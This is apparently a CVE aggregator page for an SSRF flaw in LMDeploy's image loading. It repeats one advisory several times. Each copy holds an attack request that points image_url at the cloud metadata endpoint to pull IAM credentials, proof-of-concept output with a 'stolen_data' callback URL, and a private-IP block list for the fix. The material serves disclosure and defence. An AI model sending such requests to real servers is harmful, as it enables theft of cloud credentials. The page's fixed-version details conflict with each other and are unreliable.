CVE-2026-33626

LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

7.5 HighPublic exploit

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: None
Availability: None

Exploit likelihood

45.2%Up 45.2 points since Apr 21, 2026

What each source reports

CVE List Score used 7.5

LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Record: CVE-2026-33626
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

EUVDEUVD-2026-23970 7.5

Record: EUVD-2026-23970
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-6w67-hwm5-92mq 7.5

LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

Tested on: main branch (2026-02-04)
Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

No validation of URLs before fetching
No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
Server binds to 0.0.0.0 by default (api_server.py line 1393)
API keys disabled by default

Attack Scenario

LMDeploy server deployed with vision-language model
Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

Server fetches URL without validation
Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
Internal Service Access: Reach services not exposed to internet
Information Disclosure: Port scan internal networks
Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: [email protected] …

Record: GHSA-6w67-hwm5-92mq
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

NVD 7.5

Record: CVE-2026-33626
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSV 7.5

LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Record: CVE-2026-33626
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSVGHSA-6w67-hwm5-92mq 7.5

LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Summary

Affected Versions

Tested on: main branch (2026-02-04)
Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

No validation of URLs before fetching
No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
Server binds to 0.0.0.0 by default (api_server.py line 1393)
API keys disabled by default

Attack Scenario

LMDeploy server deployed with vision-language model
Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

Server fetches URL without validation
Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
Internal Service Access: Reach services not exposed to internet
Information Disclosure: Port scan internal networks
Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: [email protected] …

Record: GHSA-6w67-hwm5-92mq
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSVPYSEC-2026-2607 7.5

LMDeploy has Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Summary

Affected Versions

Tested on: main branch (2026-02-04)
Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

No validation of URLs before fetching
No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
Server binds to 0.0.0.0 by default (api_server.py line 1393)
API keys disabled by default

Attack Scenario

LMDeploy server deployed with vision-language model
Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

Server fetches URL without validation
Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
Internal Service Access: Reach services not exposed to internet
Information Disclosure: Port scan internal networks
Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: [email protected] …

Record: PYSEC-2026-2607
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated: 2026-11-02

Affected products

internlm lmdeploy

Affected packages

Affected packages
Package	Affected	Fixed
`lmdeploy` PyPI	through 0.12.2	None known
`lmdeploy` PyPI	through 0.12.2, plus listed versions 0.0.100.0.110.0.120.0.130.0.14 Show 45 moreShow less 0.1.00.10.00.10.10.10.20.11.00.11.10.12.00.12.10.2.00.2.10.2.20.2.30.2.40.2.50.2.60.3.00.4.00.4.10.4.20.5.00.5.10.5.20.5.2.post10.5.30.6.00.6.0a00.6.10.6.20.6.2.post10.6.30.6.40.6.50.7.00.7.0.post10.7.0.post20.7.0.post30.7.10.7.20.7.2.post10.7.30.8.00.9.00.9.10.9.20.9.2.post1	None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
Source	Link	Date
Nuclei	LMDeploy - Server-Side Request Forgery
PoC in GitHub	rootdirective-sec/CVE-2026-33626-Lab	2026-05-13

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-33626 is a high vulnerability (CVSS 7.5) in Internlm Lmdeploy, published April 20, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 45.2%, the 98th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.